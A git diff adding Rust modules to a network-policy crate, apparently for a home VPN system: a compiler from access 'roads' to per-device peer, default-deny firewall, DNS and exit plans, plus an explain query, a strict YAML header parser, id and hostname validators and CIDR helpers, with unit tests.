granting road"); + out.problems.push( + Problem::inactive( + &road.path, + Some("object"), + r::DIRECT_KILL_SWITCH, + format!( + "for {}: the kill switch (road {}) wins; {subnet} does not go direct", + name(key), + kill_roads.join(", ") + ), + ) + .at(road.line_of("object")), + ); + } + } + } + + // Each device's plan reads only the grants that name it. + let mut by_device: BTreeMap<&DeviceKey, Vec<&Grant>> = BTreeMap::new(); + for g in &out.grants { + let other = match g { + Grant::Reach { host, .. } => host, + Grant::Exit { exit, .. } => exit, + }; + by_device.entry(g.from()).or_default().push(g); + by_device.entry(other).or_default().push(g); + } + for (key, dev) in &devs.devices { + let mine = by_device.remove(key).unwrap_or_default(); + out.plans.insert( + key.clone(), + build_plan(key, dev, devs, &mine, extras.remove(key), expiry.get(key)), + ); + } + out.problems.sort(); + out +} + +#[derive(Default)] +struct PeerAcc { + allowed: BTreeSet, + roads: BTreeSet, + vias: BTreeSet>, +} + +fn build_plan( + me: &DeviceKey, + dev: &crate::snapshot::Device, + devs: &Devices, + grants: &[&Grant], + extras: Option, + expiry: Option<&Instant>, +) -> Plan { + let mut peers: BTreeMap = BTreeMap::new(); + let mut rules: BTreeMap> = BTreeMap::new(); + let mut dns: BTreeMap)> = BTreeMap::new(); + let mut exit: BTreeMap> = BTreeMap::new(); + let addr = |k: &DeviceKey| devs.devices[k].address; + + for g in grants { + match g { + Grant::Reach { + road, + from, + host, + dst, + forward, + ports, + dns: host_name, + via, + } => { + if from == me { + let p = peers.entry(host.clone()).or_default(); + p.allowed.insert(*dst); + p.roads.insert(road.clone()); + p.vias.insert(via.clone()); + if let Some(h) = host_name { + dns.entry(h.clone()) + .or_insert_with(|| (addr(host), BTreeSet::new())) + .1 + .insert(road.clone()); + } + } + if host == me { + let src = Net::host(addr(from).0); + let p = peers.entry(from.clone()).or_default(); + p.allowed.insert(src); + p.roads.insert(road.clone()); + p.vias.insert(via.clone()); + let direction = if *forward { + Direction::Forward + } else { + Direction::In + }; + match ports { + None => { + rules + .entry((direction, src, Dst::Net(*dst), Proto::Any, None)) + .or_default() + .insert(road.clone()); + } + Some(list) => { + for spec in list { + let range = spec.range.map(|(lo, hi)| [lo, hi]); + rules + .entry((direction, src, Dst::Net(*dst), spec.proto, range)) + .or_default() + .insert(road.clone()); + } + } + } + } + } + Grant::Exit { + road, + from, + exit: through, + } => { + if from == me { + let p = peers.entry(through.clone()).or_default(); + p.allowed.insert(Net::v4_default()); + p.allowed.insert(Net::v6_default()); + p.roads.insert(road.clone()); + p.vias.insert(None); + exit.entry(through.clone()) + .or_default() + .insert(road.clone()); + } + if through == me { + let src = Net::host(addr(from).0); + let p = peers.entry(from.clone()).or_default(); + p.allowed.insert(src); + p.roads.insert(road.clone()); + p.vias.insert(None); + rules + .entry((Direction::Forward, src, Dst::Internet, Proto::Any, None)) + .or_default() + .insert(road.clone()); + } + } + } + } + + let extras = extras.unwrap_or_default(); + let kill_switch = (!extras.kill.is_empty()).then(|| plan::KillSwitch { + through: if extras.kill.len() == 1 { + extras.kill.keys().next().cloned() + } else { + None + }, + roads: extras + .kill + .values() + .flatten() + .cloned() + .collect::>() + .into_iter() + .collect(), + }); + let mut custom = extras.custom; + custom.sort_by(|a, b| a.road.cmp(&b.road)); + + Plan { + format: plan::FORMAT, + device: me.clone(), + name: dev.name.clone(), + address: dev.address, + classic: dev.classic, + expires: expiry.map(|e| e.to_string()), + peers: peers + .into_iter() + .map(|(k, acc)| { + let d = &devs.devices[&k]; + plan::Peer { + name: d.name.clone(), + address: d.address, + classic: d.classic, + allowed_ips: acc.allowed.into_iter().collect(), + via: if acc.vias.len() == 1 { + acc.vias.into_iter().next().flatten() + } else { + None + }, + roads: acc.roads.into_iter().collect(), + key: k, + } + }) + .collect(), + firewall: Firewall { + default: Action::Deny, + rules: rules + .into_iter() + .map(|((direction, src, dst, proto, ports), roads)| plan::Rule { + direction, + src, + dst, + proto, + ports, + roads: roads.into_iter().collect(), + }) + .collect(), + }, + dns: dns + .into_iter() + .map(|(host, (address, roads))| plan::Dns { + host, + address, + roads: roads.into_iter().collect(), + }) + .collect(), + exit: exit.into_iter().next().map(|(through, roads)| plan::Exit { + through, + roads: roads.into_iter().collect(), + }), + kill_switch, + direct: extras + .direct + .into_iter() + .map(|((app, subnet), roads)| plan::Direct { + app, + subnet, + roads: roads.into_iter().collect(), + }) + .collect(), + custom, + } +} diff --git a/crates/roads/src/explain.rs b/crates/roads/src/explain.rs new file mode 100644 index 0000000..a64ae99 --- /dev/null +++ b/crates/roads/src/explain.rs @@ -0,0 +1,78 @@ +//! `explain`: which roads let this device reach that place. Read from the compiler's own grants, so the +//! answer and the plans cannot drift apart. + +use crate::compile::{Compiled, Grant}; +use crate::id::RoadId; +use crate::ids::DeviceKey; +use crate::net::Net; +use crate::ports::{self, PortSpec}; +use crate::road::Place; +use crate::snapshot::Devices; +use std::collections::BTreeSet; + +/// The roads that let `device` reach (some of) `place`, sorted; empty when access is denied. +/// +/// A road counts when one of its grants from `device` overlaps the place: the same network or a part of it, +/// and at least one shared port. An exit road counts for `exit:`, and for a subnet that reaches +/// the internet unless that subnet goes direct on this device. +pub fn explain( + compiled: &Compiled, + devs: &Devices, + device: &DeviceKey, + place: &Place, +) -> Vec { + let (dst, want_ports): (Option, Option>) = match place { + Place::Device(k) => (devs.devices.get(k).map(|d| Net::host(d.address.0)), None), + Place::Service(h) => match devs.service(h) { + Some((d, s)) => (Some(Net::host(d.address.0)), Some(s.ports.clone())), + None => (None, None), + }, + Place::Subnet(n) => (Some(*n), None), + Place::Exit(_) => (None, None), + }; + let direct: Vec = compiled + .plans + .get(device) + .map(|p| { + p.direct + .iter() + .filter(|d| d.app.is_none()) + .map(|d| d.subnet) + .collect() + }) + .unwrap_or_default(); + let mut out = BTreeSet::new(); + for g in &compiled.grants { + if g.from() != device { + continue; + } + match g { + Grant::Reach { + road, + dst: gdst, + ports: gports, + .. + } => { + if let Some(dst) = &dst + && gdst.overlaps(dst) + && ports::overlaps(gports.as_deref(), want_ports.as_deref()) + { + out.insert(road.clone()); + } + } + Grant::Exit { road, exit, .. } => { + let counts = match place { + Place::Exit(k) => k == exit, + Place::Subnet(n) => { + n.reaches_internet() && !direct.iter().any(|d| d.contains(n)) + } + _ => false, + }; + if counts { + out.insert(road.clone()); + } + } + } + } + out.into_iter().collect() +} diff --git a/crates/roads/src/header.rs b/crates/roads/src/header.rs new file mode 100644 index 0000000..2ec9e64 --- /dev/null +++ b/crates/roads/src/header.rs @@ -0,0 +1,464 @@ +//! The strict YAML subset of road headers: Pensum's header subset (Fabrica `core/docs/FORMATS.md`, "The header +//! subset"). Every header this accepts is valid YAML; most of YAML is refused, each refusal naming the line and +//! the field. + +use crate::rules; + +/// A field's value. Plain scalars are always strings: `true` is text, the field's reader decides. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Value { + /// `key:` with nothing after it: the field is not set. + Absent, + Str(String), + List(Vec), +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Field { + pub key: String, + /// 1-based line in the file. + pub line: usize, + pub value: Value, +} + +/// The first problem in a header: line (1-based in the file), field, rule code, message. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct HeaderError { + pub line: usize, + pub field: Option, + pub code: &'static str, + pub message: String, +} + +fn refused(line: usize, field: Option<&str>, message: impl Into) -> HeaderError { + HeaderError { + line, + field: field.map(String::from), + code: rules::YAML_REFUSED, + message: message.into(), + } +} + +fn syntax(line: usize, field: Option<&str>, message: impl Into) -> HeaderError { + HeaderError { + line, + field: field.map(String::from), + code: rules::YAML_SYNTAX, + message: message.into(), + } +} + +/// Parses header lines (without their line endings). `first_line` is the file line of `lines[0]`. +pub fn parse(lines: &[&str], first_line: usize) -> Result, HeaderError> { + let mut fields: Vec = Vec::new(); + let mut i = 0; + while i < lines.len() { + let line = lines[i]; + let no = first_line + i; + if line.starts_with('\t') { + return Err(refused(no, None, "tab indentation is not allowed")); + } + let trimmed = line.trim_start_matches(' '); + if trimmed.is_empty() || trimmed.starts_with('#') { + i += 1; + continue; + } + if line.starts_with(' ') { + return Err(refused( + no, + None, + "unexpected indentation: keys start at column 0", + )); + } + if line.starts_with('%') { + return Err(refused(no, None, "YAML directives are not allowed")); + } + if line == "..." { + return Err(refused( + no, + None, + "the document end marker `...` is not allowed", + )); + } + let Some((key, rest)) = split_key(line) else { + return Err(syntax( + no, + None, + format!("expected `key: value`, found `{}`", crate::ids::clip(line)), + )); + }; + if fields.iter().any(|f| f.key == key) { + return Err(HeaderError { + line: no, + field: Some(key.to_string()), + code: rules::KEY_DUPLICATE, + message: "duplicate key".into(), + }); + } + let rest = rest.trim_start_matches(' '); + let value = if rest.is_empty() || rest.starts_with('#') { + let mut list = Vec::new(); + while i + 1 < lines.len() { + let next = lines[i + 1]; + if next.starts_with('\t') { + return Err(refused(no + 1, Some(key), "tab indentation is not allowed")); + } + let t = next.trim_start_matches(' '); + if t.len() == next.len() || !(t == "-" || t.starts_with("- ")) { + break; + } + let item_line = first_line + i + 1; + let item = t[1..].trim_start_matches(' '); + if item.starts_with('[') || item.starts_with('-') || item.starts_with('{') { + return Err(refused( + item_line, + Some(key), + "nested lists and mappings are not allowed", + )); + } + let (s, after) = scalar(item, false, item_line, key)?; + end_of_value(after, item_line, key)?; + list.push(s); + i += 1; + } + if list.is_empty() { + Value::Absent + } else { + Value::List(list) + } + } else { + inline(rest, no, key)? + }; + fields.push(Field { + key: key.to_string(), + line: no, + value, + }); + i += 1; + } + Ok(fields) +} + +/// `key: rest` with `key` = `[A-Za-z][A-Za-z0-9]*`, the colon followed by a space or the end of the line. +fn split_key(line: &str) -> Option<(&str, &str)> { + let colon = line.find(':')?; + let key = &line[..colon]; + let rest = &line[colon + 1..]; + let mut b = key.bytes(); + let ok = + b.next().is_some_and(|c| c.is_ascii_alphabetic()) && b.all(|c| c.is_ascii_alphanumeric()); + (ok && (rest.is_empty() || rest.starts_with(' '))).then_some((key, rest)) +} + +fn inline(rest: &str, line: usize, key: &str) -> Result { + if let Some(mut s) = rest.strip_prefix('[') { + let mut items = Vec::new(); + loop { + s = s.trim_start_matches(' '); + if let Some(after) = s.strip_prefix(']') { + if !items.is_empty() { + return Err(syntax(line, Some(key), "an empty item in a list")); + } + end_of_value(after, line, key)?; + return Ok(Value::List(items)); + } + if s.starts_with('[') || s.starts_with('{') { + return Err(refused( + line, + Some(key), + "nested lists and mappings are not allowed", + )); + } + let (item, after) = scalar(s, true, line, key)?; + items.push(item); + let after = after.trim_start_matches(' '); + if let Some(a) = after.strip_prefix(',') { + s = a; + } else if let Some(a) = after.strip_prefix(']') { + end_of_value(a, line, key)?; + return Ok(Value::List(items)); + } else { + return Err(syntax( + line, + Some(key), + "a list is `[a, b]`, closed on the same line", + )); + } + } + } + let (s, after) = scalar(rest, false, line, key)?; + end_of_value(after, line, key)?; + Ok(Value::Str(s)) +} + +/// After a value: nothing, or spaces and a ` # comment`. +fn end_of_value(after: &str, line: usize, key: &str) -> Result<(), HeaderError> { + let t = after.trim_start_matches(' '); + if t.is_empty() || (t.starts_with('#') && t.len() < after.len()) { + Ok(()) + } else { + Err(syntax( + line, + Some(key), + format!("unexpected `{}` after the value", crate::ids::clip(t)), + )) + } +} + +/// One scalar at the start of `s`; returns it and what follows. +fn scalar<'a>( + s: &'a str, + in_flow: bool, + line: usize, + key: &str, +) -> Result<(String, &'a str), HeaderError> { + match s.chars().next() { + Some('&') => Err(refused(line, Some(key), "anchors (`&`) are not allowed")), + Some('*') => Err(refused(line, Some(key), "aliases (`*`) are not allowed")), + Some('!') => Err(refused(line, Some(key), "tags (`!`) are not allowed")), + Some('|') | Some('>') => Err(refused( + line, + Some(key), + "block scalars (`|`, `>`) are not allowed", + )), + Some('{') => Err(refused( + line, + Some(key), + "flow mappings (`{}`) are not allowed", + )), + Some('%') | Some('@') | Some('`') | Some('?') | Some(',') | Some(']') | Some('}') => { + Err(syntax( + line, + Some(key), + "a value may not start with this character; quote it", + )) + } + Some('"') => double_quoted(&s[1..], line, key), + Some('\'') => single_quoted(&s[1..], line, key), + _ => { + let mut end = s.len(); + for (i, c) in s.char_indices() { + if in_flow && matches!(c, ',' | ']') { + end = i; + break; + } + if in_flow && matches!(c, '[' | '{' | '}') { + return Err(syntax( + line, + Some(key), + "quote a list item that holds brackets", + )); + } + if c == '#' && i > 0 && s.as_bytes()[i - 1] == b' ' { + end = i; + break; + } + } + let v = s[..end].trim_end_matches(' '); + if v.contains(": ") || v.ends_with(':') { + return Err(syntax( + line, + Some(key), + "a plain value may not contain `: `; quote it", + )); + } + if v.is_empty() && in_flow { + return Err(syntax(line, Some(key), "an empty item in a list")); + } + Ok((v.to_string(), &s[v.len()..])) + } + } +} + +fn double_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> { + let mut out = String::new(); + let mut chars = s.char_indices(); + while let Some((i, c)) = chars.next() { + match c { + '"' => return Ok((out, &s[i + 1..])), + '\\' => match chars.next().map(|(_, c)| c) { + Some('"') => out.push('"'), + Some('\\') => out.push('\\'), + Some('n') => out.push('\n'), + Some('t') => out.push('\t'), + Some('r') => out.push('\r'), + Some('u') => { + let hex: String = (0..4) + .filter_map(|_| chars.next().map(|(_, c)| c)) + .collect(); + let ch = (hex.len() == 4 && hex.bytes().all(|b| b.is_ascii_hexdigit())) + .then(|| u32::from_str_radix(&hex, 16).ok()) + .flatten() + .and_then(char::from_u32); + match ch { + Some(ch) => out.push(ch), + None => { + return Err(syntax( + line, + Some(key), + "`\\u` takes 4 hex digits of a character", + )); + } + } + } + _ => { + return Err(syntax( + line, + Some(key), + "unknown escape; use \\\" \\\\ \\n \\t \\r \\uXXXX", + )); + } + }, + c => out.push(c), + } + } + Err(syntax(line, Some(key), "unclosed double-quoted string")) +} + +fn single_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> { + let mut out = String::new(); + let b = s.as_bytes(); + let mut i = 0; + let mut start = 0; + while i < b.len() { + if b[i] == b'\'' { + out.push_str(&s[start..i]); + if b.get(i + 1) == Some(&b'\'') { + out.push('\''); + i += 2; + start = i; + continue; + } + return Ok((out, &s[i + 1..])); + } + i += 1; + } + Err(syntax(line, Some(key), "unclosed single-quoted string")) +} + +/// Whether `s` reads back unchanged as a plain scalar in a header value or flow list item. +pub fn is_plain_safe(s: &str, in_flow: bool) -> bool { + let Some(first) = s.chars().next() else { + return false; + }; + if "&*!|>{}[]%@`?,#'\"-:".contains(first) || s.ends_with(' ') || s.ends_with(':') { + return false; + } + if s.contains(": ") || s.contains(" #") || s.chars().any(|c| c.is_control()) { + return false; + } + if in_flow && s.contains([',', '[', ']', '{', '}']) { + return false; + } + true +} + +/// `s` as a double-quoted scalar. +pub fn quote(s: &str) -> String { + let mut out = String::from("\""); + for c in s.chars() { + match c { + '"' => out.push_str("\\\""), + '\\' => out.push_str("\\\\"), + '\n' => out.push_str("\\n"), + '\t' => out.push_str("\\t"), + '\r' => out.push_str("\\r"), + c if c.is_control() => out.push_str(&format!("\\u{:04x}", c as u32)), + c => out.push(c), + } + } + out.push('"'); + out +} + +#[cfg(test)] +mod tests { + use super::*; + + fn one(line: &str) -> Result { + parse(&[line], 1).map(|f| f[0].value.clone()) + } + + #[test] + fn values() { + assert_eq!(one("a: b"), Ok(Value::Str("b".into()))); + assert_eq!(one("a: b # note"), Ok(Value::Str("b".into()))); + assert_eq!(one("a: b#c"), Ok(Value::Str("b#c".into()))); + assert_eq!(one("a: \"x: y\""), Ok(Value::Str("x: y".into()))); + assert_eq!(one("a: 'it''s'"), Ok(Value::Str("it's".into()))); + assert_eq!( + one("a: [tcp/443, \"udp/53\"] # c"), + Ok(Value::List(vec!["tcp/443".into(), "udp/53".into()])) + ); + assert_eq!(one("a: []"), Ok(Value::List(vec![]))); + assert_eq!(one("a:"), Ok(Value::Absent)); + assert_eq!( + one("a: subnet:fd00::/64"), + Ok(Value::Str("subnet:fd00::/64".into())) + ); + assert_eq!( + parse(&["a:", " - x", " - 'y'", "b: c"], 1).unwrap()[0].value, + Value::List(vec!["x".into(), "y".into()]) + ); + } + + #[test] + fn refusals_name_the_line_and_field() { + for (line, code) in [ + ("a: &x b", rules::YAML_REFUSED), + ("a: *x", rules::YAML_REFUSED), + ("a: !tag b", rules::YAML_REFUSED), + ("a: |", rules::YAML_REFUSED), + ("a: >", rules::YAML_REFUSED), + ("a: {b: c}", rules::YAML_REFUSED), + ("a: [[b]]", rules::YAML_REFUSED), + ("a: x: y", rules::YAML_SYNTAX), + ("a: \"open", rules::YAML_SYNTAX), + ("a: \"\\q\"", rules::YAML_SYNTAX), + ("a: [b, ]", rules::YAML_SYNTAX), + ("a: [b", rules::YAML_SYNTAX), + ("a: \"b\" c", rules::YAML_SYNTAX), + ] { + let e = one(line).unwrap_err(); + assert_eq!( + (e.code, e.field.as_deref(), e.line), + (code, Some("a"), 1), + "{line}" + ); + } + for (lines, code) in [ + (&["\ta: b"][..], rules::YAML_REFUSED), + (&[" a: b"][..], rules::YAML_REFUSED), + (&["%YAML 1.2"][..], rules::YAML_REFUSED), + (&["..."][..], rules::YAML_REFUSED), + (&["a: b", "a: c"][..], rules::KEY_DUPLICATE), + (&["a:", " - - b"][..], rules::YAML_REFUSED), + (&["just text"][..], rules::YAML_SYNTAX), + (&["a:b"][..], rules::YAML_SYNTAX), + ] { + assert_eq!(parse(lines, 1).unwrap_err().code, code, "{lines:?}"); + } + } + + #[test] + fn plain_safety_round_trips() { + for s in [ + "person:jana", + "tcp/443", + "2026-11-29T23:59:59+01:00", + "subnet:fd00::/64", + "true", + ] { + assert!(is_plain_safe(s, true), "{s}"); + assert_eq!(one(&format!("a: {s}")), Ok(Value::Str(s.into()))); + } + for s in ["", "-x", "a: b", "a #b", "[x", "x ", "'q"] { + assert!(!is_plain_safe(s, false), "{s}"); + assert_eq!( + one(&format!("a: {}", quote(s))), + Ok(Value::Str(s.into())), + "{s}" + ); + } + } +} diff --git a/crates/roads/src/id.rs b/crates/roads/src/id.rs new file mode 100644 index 0000000..25086ca --- /dev/null +++ b/crates/roads/src/id.rs @@ -0,0 +1,116 @@ +//! Road ids and file names, in Pensum's style (Fabrica `core/crates/pensum/src/id.rs`). + +use std::collections::BTreeSet; +use std::fmt; + +/// Lowercase Crockford base32: no `i l o u`. +pub const ALPHABET: &[u8; 32] = b"0123456789abcdefghjkmnpqrstvwxyz"; +pub const LEN: usize = 6; +pub const SLUG_MAX: usize = 40; + +/// A road id: 6 random characters of [`ALPHABET`]. +#[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] +#[serde(transparent)] +pub struct RoadId(String); + +impl RoadId { + pub fn new(s: &str) -> Option { + is_valid(s).then(|| RoadId(s.to_string())) + } + + pub fn as_str(&self) -> &str { + &self.0 + } +} + +impl fmt::Display for RoadId { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(&self.0) + } +} + +impl fmt::Debug for RoadId { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "RoadId({})", self.0) + } +} + +impl<'de> serde::Deserialize<'de> for RoadId { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + RoadId::new(&s).ok_or_else(|| serde::de::Error::custom(format!("`{s}` is not a road id"))) + } +} + +pub fn is_valid(s: &str) -> bool { + s.len() == LEN && s.bytes().all(|b| ALPHABET.contains(&b)) +} + +/// A random id not in `existing`, from `fill` (the caller's random source: this crate does no I/O). +/// Each byte picks one character (256 / 32: no bias). +pub fn generate_with(existing: &BTreeSet, mut fill: impl FnMut(&mut [u8])) -> RoadId { + loop { + let mut buf = [0u8; LEN]; + fill(&mut buf); + let id: String = buf + .iter() + .map(|b| ALPHABET[(b & 31) as usize] as char) + .collect(); + let id = RoadId(id); + if !existing.contains(&id) { + return id; + } + } +} + +/// Whether a file-name slug is well formed: `[a-z0-9]+(-[a-z0-9]+)*`, at most 40 characters. +pub fn is_valid_slug(s: &str) -> bool { + !s.is_empty() + && s.len() <= SLUG_MAX + && s.split('-').all(|part| { + !part.is_empty() + && part + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit()) + }) +} + +/// Splits `-.md` into the id text and the slug, if the name has that shape. +pub fn split_file_name(name: &str) -> Option<(&str, &str)> { + let stem = name.strip_suffix(".md")?; + let (id, slug) = stem.split_once('-')?; + (is_valid(id) && is_valid_slug(slug)).then_some((id, slug)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn ids_and_names() { + assert!(is_valid("k3f9q2")); + assert!(!is_valid("k3f9qi"), "i is not in the alphabet"); + assert!(!is_valid("K3F9Q2")); + assert!(!is_valid("k3f9q")); + assert_eq!( + split_file_name("k3f9q2-jana-photos.md"), + Some(("k3f9q2", "jana-photos")) + ); + assert_eq!(split_file_name("k3f9q2.md"), None); + assert_eq!(split_file_name("k3f9q2-Jana.md"), None); + assert_eq!(split_file_name("k3f9q2-jana--photos.md"), None); + } + + #[test] + fn generate_skips_existing() { + let mut existing = BTreeSet::new(); + existing.insert(RoadId::new("000000").unwrap()); + let mut calls = 0; + let id = generate_with(&existing, |buf| { + calls += 1; + buf.fill(if calls == 1 { 0 } else { 1 }); + }); + assert_eq!(id.as_str(), "111111"); + assert_eq!(calls, 2); + } +} diff --git a/crates/roads/src/ids.rs b/crates/roads/src/ids.rs new file mode 100644 index 0000000..4f7d1bf --- /dev/null +++ b/crates/roads/src/ids.rs @@ -0,0 +1,170 @@ +//! The ids roads point at, matching the formats of the code that owns them (docs/02_via-core.md, "The ids"). + +use base64::Engine; +use base64::engine::general_purpose::URL_SAFE_NO_PAD; +use std::fmt; + +macro_rules! string_id { + ($name:ident, $check:path, $what:literal) => { + #[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] + #[serde(transparent)] + pub struct $name(String); + + impl $name { + pub fn new(s: &str) -> Option<$name> { + $check(s).then(|| $name(s.to_string())) + } + + pub fn as_str(&self) -> &str { + &self.0 + } + } + + impl fmt::Display for $name { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(&self.0) + } + } + + impl fmt::Debug for $name { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}({})", stringify!($name), self.0) + } + } + + impl<'de> serde::Deserialize<'de> for $name { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + $name::new(&s).ok_or_else(|| { + serde::de::Error::custom(format!("`{}` is not {}", clip(&s), $what)) + }) + } + } + }; +} + +string_id!(PersonId, is_opaque_id, "a person id"); +string_id!(GroupId, is_opaque_id, "a group id"); +string_id!(AppId, is_tessera_id, "an app id"); +string_id!(Hostname, is_hostname, "a hostname"); +string_id!(DeviceKey, is_device_key, "a device key"); + +/// A person or group id. **No people directory exists in Fundamentum yet**, so this is an opaque newtype: +/// 1–64 of `[A-Za-z0-9_-]`, wide enough for a base64url Tessera root public key. +pub fn is_opaque_id(s: &str) -> bool { + (1..=64).contains(&s.len()) + && s.bytes() + .all(|b| b.is_ascii_alphanumeric() || b == b'_' || b == b'-') +} + +/// Tessera's id (Fundamentum `crates/tessera/src/id.rs`): 1–32 of `[a-z0-9-]`, not starting or ending with `-`. +pub fn is_tessera_id(s: &str) -> bool { + (1..=32).contains(&s.len()) + && s.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') + && !s.starts_with('-') + && !s.ends_with('-') +} + +/// A Tessera device subkey (Fundamentum `docs/TESSERA.md` §2 and §4): a 32-byte Ed25519 public key in +/// base64url without padding, in its one canonical encoding. +pub fn is_device_key(s: &str) -> bool { + if s.len() != 43 { + return false; + } + match URL_SAFE_NO_PAD.decode(s) { + Ok(bytes) => bytes.len() == 32 && URL_SAFE_NO_PAD.encode(&bytes) == s, + Err(_) => false, + } +} + +impl DeviceKey { + /// The key of 32 public-key bytes. Tests use it with made-up bytes: there are no real keys in this crate. + pub fn from_bytes(bytes: &[u8; 32]) -> DeviceKey { + DeviceKey(URL_SAFE_NO_PAD.encode(bytes)) + } + + /// The first 8 characters, for people to tell keys apart. + pub fn short(&self) -> &str { + &self.0[..8] + } +} + +/// Ianitor's hostname rules (`crates/core/src/validate.rs`, `check_hostname`), written again here: lowercase, +/// at most 253 characters, labels of 1–63 `[a-z0-9-]` not starting or ending with `-`, no wildcard, no +/// trailing dot, not an IP address. +pub fn is_hostname(h: &str) -> bool { + if h.is_empty() || h.len() > 253 || h.parse::().is_ok() || h.ends_with('.') { + return false; + } + h.split('.').all(|label| { + (1..=63).contains(&label.len()) + && label + .bytes() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == b'-') + && !label.starts_with('-') + && !label.ends_with('-') + }) +} + +/// At most 40 characters of `s`, for messages. +pub(crate) fn clip(s: &str) -> String { + let mut out: String = s.chars().take(40).collect(); + if out.len() < s.len() { + out.push('…'); + } + out.escape_debug().to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn device_keys_are_canonical_43_character_base64url() { + let k = DeviceKey::from_bytes(&[1; 32]); + assert_eq!(k.as_str(), "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE"); + assert!(is_device_key(k.as_str())); + // Non-zero trailing bits: decodes to the same bytes, but is not the canonical encoding. + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF" + )); + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE=" + )); + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ+" + )); + } + + #[test] + fn hostnames_follow_ianitor() { + assert!(is_hostname("photos.home.arpa")); + assert!(is_hostname("localhost")); + for bad in [ + "", + "Photos.home.arpa", + "*.home.arpa", + "photos.home.arpa.", + "-a.b", + "a-.b", + "a..b", + "10.0.0.1", + "a b", + ] { + assert!(!is_hostname(bad), "{bad}"); + } + assert!(!is_hostname(&format!("{}.a", "x".repeat(64)))); + } + + #[test] + fn opaque_and_tessera_ids() { + assert!(is_opaque_id("jana")); + assert!(is_opaque_id("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE")); + assert!(!is_opaque_id("jana novak")); + assert!(!is_opaque_id(&"a".repeat(65))); + assert!(is_tessera_id("steam")); + assert!(!is_tessera_id("-steam")); + assert!(!is_tessera_id("Steam")); + } +} diff --git a/crates/roads/src/lib.rs b/crates/roads/src/lib.rs new file mode 100644 index 0000000..28eddd5 --- /dev/null +++ b/crates/roads/src/lib.rs @@ -0,0 +1,30 @@ +//! Via Domi's road model, its validator and the compiler from roads to per-device plans. +//! +//! Pure: the only I/O is [`Store::load_dir`] reading the store; no network, no clock (`now` is a parameter), +//! no randomness (ids take a random source as a parameter). See `docs/02_via-core.md` and `docs/FORMATS.md`. + +#![forbid(unsafe_code)] + +pub mod compile; +pub mod explain; +pub mod header; +pub mod id; +pub mod ids; +pub mod net; +pub mod plan; +pub mod ports; +pub mod problem; +pub mod road; +pub mod rules; +pub mod snapshot; +pub mod store; + +pub use compile::{Compiled, Grant, compile}; +pub use explain::explain; +pub use id::RoadId; +pub use ids::{AppId, DeviceKey, GroupId, Hostname, PersonId}; +pub use plan::Plan; +pub use problem::{Problem, Severity}; +pub use road::{Body, Place, Road, Subject, Verb}; +pub use snapshot::{Devices, Directory}; +pub use store::Store; diff --git a/crates/roads/src/net.rs b/crates/roads/src/net.rs new file mode 100644 index 0000000..6a275a2 --- /dev/null +++ b/crates/roads/src/net.rs @@ -0,0 +1,228 @@ +//! Networks: canonical CIDRs, host networks, overlap, and what `internet` means. + +use ipnet::IpNet; +use std::fmt; +use std::net::IpAddr; +use std::str::FromStr; + +/// A canonical network (host bits zero), serialised as its text in every format. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Net(IpNet); + +impl Net { + /// Parses `a.b.c.d/n` or `x::/n`; `Err(true)` when it parses but has host bits set. + pub fn parse_canonical(s: &str) -> Result { + let n = IpNet::from_str(s).map_err(|_| false)?; + if n.trunc() != n || n.to_string() != s { + return Err(true); + } + Ok(Net(n)) + } + + /// The `/32` or `/128` of one address. + pub fn host(addr: IpAddr) -> Net { + Net(IpNet::from(addr)) + } + + pub fn v4_default() -> Net { + Net(IpNet::from_str("0.0.0.0/0").expect("literal")) + } + + pub fn v6_default() -> Net { + Net(IpNet::from_str("::/0").expect("literal")) + } + + pub fn inner(&self) -> IpNet { + self.0 + } + + pub fn prefix_len(&self) -> u8 { + self.0.prefix_len() + } + + pub fn contains(&self, other: &Net) -> bool { + self.0.contains(&other.0) + } + + pub fn contains_addr(&self, addr: &IpAddr) -> bool { + self.0.contains(addr) + } + + pub fn overlaps(&self, other: &Net) -> bool { + self.contains(other) || other.contains(self) + } + + /// Whether any part of this network is on the internet: it is not wholly inside one of [`NOT_INTERNET`]. + pub fn reaches_internet(&self) -> bool { + !NOT_INTERNET + .iter() + .any(|s| Net::parse_canonical(s).expect("literal").contains(self)) + } + + /// An IPv6 network that carries IPv4 addresses inside it (mapped, compatible, NAT64, 6to4). Refused + /// everywhere: write the IPv4 network, so the two families are never compared apart (QA R-07). + pub fn embeds_ipv4(&self) -> bool { + matches!(self.0, IpNet::V6(_)) + && EMBEDS_IPV4 + .iter() + .any(|s| Net::parse_canonical(s).expect("literal").contains(self)) + } + + /// Loopback, link-local (cloud metadata lives there), multicast, broadcast and "this network": never a + /// place to reach or route (QA R-08). + pub fn is_special(&self) -> bool { + SPECIAL + .iter() + .any(|s| self.overlaps(&Net::parse_canonical(s).expect("literal"))) + } +} 